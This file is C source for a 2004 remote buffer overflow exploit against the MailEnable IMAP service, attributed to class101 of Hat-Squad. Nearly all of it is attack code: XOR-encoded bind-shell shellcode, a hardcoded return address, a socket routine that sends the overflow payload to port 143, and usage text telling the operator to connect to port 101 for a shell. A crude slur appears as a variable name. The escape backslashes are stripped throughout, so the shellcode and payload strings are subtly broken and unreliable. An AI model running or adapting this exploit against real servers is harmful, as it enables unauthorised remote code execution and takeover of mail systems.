/*
 
MailEnable , IMAP Service, Remote Buffer Overflow Exploit v0.4
 
Homepage         : www.mailenable.com
Affected versions: Pro        v1.52
       Enterprise v1.01
 
Bug discovery    : Nima Majidi at www.hat-squad.com
Exploit code     : class101    at www.hat-squad.com
           & dfind.kd-team.com
 
Fix              : http://mailenable.com/hotfix/MEIMAPS-HF041125.zip
 
Compilation      : 101_ncat.cpp ......... Win32 (MSVC,cygwin)
                   101_ncat.c ........... Linux
 
*/
 
#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif
 
file://BIND shellcode port 101, XORed 0x88, thanx HDMoore.
 
char scode[] =
"xEB"
"x0Fx58x80x30x88x40x81x38x68x61x63x6Bx75xF4xEBx05xE8xECxFFxFF"
"xFFx60xDEx88x88x88xDBxDDxDExDFx03xE4xACx90x03xCDxB4x03xDCx8D"
"xF0x89x62x03xC2x90x03xD2xA8x89x63x6BxBAxC1x03xBCx03x89x66xB9"
"x77x74xB9x48x24xB0x68xFCx8Fx49x47x85x89x4Fx63x7AxB3xF4xACx9C"
"xFDx69x03xD2xACx89x63xEEx03x84xC3x03xD2x94x89x63x03x8Cx03x89"
"x60x63x8AxB9x48xD7xD6xD5xD3x4Ax80x88xD6xE2xB8xD1xECx03x91x03"
"xD3x84x03xD3x94x03x93x03xD3x80xDBxE0x06xC6x86x64x77x5Ex01x4F"
"x09x64x88x89x88x88xDFxDExDBx01x6Dx60xAFx88x88x88x18x89x88x88"
"x3Ex91x90x6Fx2Cx91xF8x61x6DxC1x0ExC1x2Cx92xF8x4Fx2Cx25xA6x61"
"x51x81x7Dx25x43x65x74xB3xDFxDBxBAxD7xBBxBAx88xD3x05xC3xA8xD9"
"x77x5Fx01x57x01x4Bx05xFDx9CxE2x8FxD1xD9xDBx77xBCx07x77xDDx8C"
"xD1x01x8Cx06x6Ax7AxA3xAFxDCx77xBFx77xDDxB8xB9x48xD8xD8xD8xD8"
"xC8xD8xC8xD8x77xDDxA4x01x4FxB9x53xDBxDBxE0x8Ax88x88xEDx01x68"
"xE2x98xD8xDFx77xDDxACxDBxDFx77xDDxA0xDBxDCxDFx77xDDxA8x01x4F"
"xE0xCBxC5xCCx88x01x6Bx0Fx72xB9x48x05xF4xACx24xE2x9DxD1x7Bx23"
"x0Fx72x09x64xDCx88x88x88x4ExCCxACx98xCCxEEx4FxCCxACxB4x89x89"
"x01xF4xACxC0x01xF4xACxC4x01xF4xACxD8x05xCCxACx98xDCxD8xD9xD9"
"xD9xC9xD9xC1xD9xD9xDBxD9x77xFDx88xE0xFAx76x3Bx9Ex77xDDx8Cx77"
"x58x01x6Ex77xFDx88xE0x25x51x8Dx46x77xDDx8Cx01x4BxE0x77x77x77"
"x77x77xBEx77x5Bx77xFDx88xE0xF6x50x6AxFBx77xDDx8CxB9x53xDBx77"
"x58x68x61x63x6Bx90";
 
static char payload[10000];
 
char magikcll[]="x7ax8cx01x10"; file://CALL EDI - MEAISP.dll - "Universal"
char gay[]="x4bx2dx4fx54x69x4b"; file://long F0CK to them
 
void usage(char* us);
 
#ifdef WIN32
 WSADATA wsadata;
#endif
 
void ver();
 
int main(int argc,char *argv[])
{
 ver();
 if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>1)){usage(argv[0]);return -1;} 
#ifndef WIN32
#define Sleep  sleep
#define SOCKET  int
#define closesocket(s) close(s)
#else
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup errorn");return -1;}
#endif
 int ip=htonl(inet_addr(argv[2])), sz, port, sizeA, a;
 char *target, *os;
 if (argc==4){port=atoi(argv[3]);}
 else port=143;
 if (atoi(argv[1]) == 1){target=magikcll;os="Win2k SP4 Pro    Englishn[+]         Win2k SP4 Pro    Frenchn[+]         Win2k SP4 Server Englishn[+]         all Win2k, NT4 (supposed)";}
 SOCKET s;fd_set mask;struct timeval timeout;struct sockaddr_in server;
 s=socket(AF_INET,SOCK_STREAM,0);
 if (s==-1) {printf("[+] socket() errorn");return -1;}
 printf("[+] target: %sn",os);   
 server.sin_family=AF_INET;
 server.sin_addr.s_addr=htonl(ip);
 server.sin_port=htons(port);
 connect(s,( struct sockaddr *)&server,sizeof(server));
 timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
 switch(select(s+1,NULL,&mask,NULL,&timeout))
 {
  case -1: {printf("[+] select() errorn");closesocket(s);return -1;}
  case 0: {printf("[+] connect() errorn");closesocket(s);return -1;}
  default:
  if(FD_ISSET(s,&mask))
  {
   printf("[+] connected, constructing the payload...n");
#ifdef WIN32
   Sleep(2000);
#else
   Sleep(2);
#endif
   sizeA=8202-sizeof(scode);
   sz=3+8198+4;
   memset(payload,0,sizeof(payload));
   strcat(payload,"x41x41x41");
   strcat(payload,scode);
   for (a=0;a<sizeA;a++){strcat(payload,"x41");}
   strcat(payload,target);
   strcat(payload,"rn");
      if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.");return -1;}
#ifdef WIN32
   Sleep(1000);
#else
   Sleep(1);
#endif
   printf("[+] size of payload: %dn",sz);   
   printf("[+] payload send, connect the port 101 to get a shell.n");
   return 0;
  }
 }
 closesocket(s);
#ifdef WIN32
 WSACleanup();
#endif
 return 0;
}
 

void usage(char* us)
{ 
 printf("USAGE: 101_mEna.exe Target Ip Portn");
 printf("TARGETS:                               n");
 printf("      [+] 1. Win2k SP4 Pro    English  (*)n");
 printf("      [+] 1. Win2k SP4 Pro    French   (*)n");
 printf("      [+] 1. Win2k SP4 Server English  (*)n");
 printf("      [+] 1. All Win2K, NT4               n");
 printf("NOTE:                               n");
 printf("      The port 143 is default if no port are specifiedn");
 printf("      The exploit bind a shellcode to the port 101n");
 printf("      A wildcard (*) mean Tested.n");
 return;
}
void ver()
{ 
printf("                                                                   n");
printf("        ===================================================[v0.1]====n");
printf("        ======MailEnable, Pro Mail Server for Windows <= v1.52=======n");
printf("        ========IMAP Service, Remote Buffer Overflow Exploit=========n");
printf("        ======coded by class101=============[Hat-Squad.com 2004]=====n");
printf("        =============================================================n");
printf("                                                                   n");
}

// www.Syue.com [2004-11-25]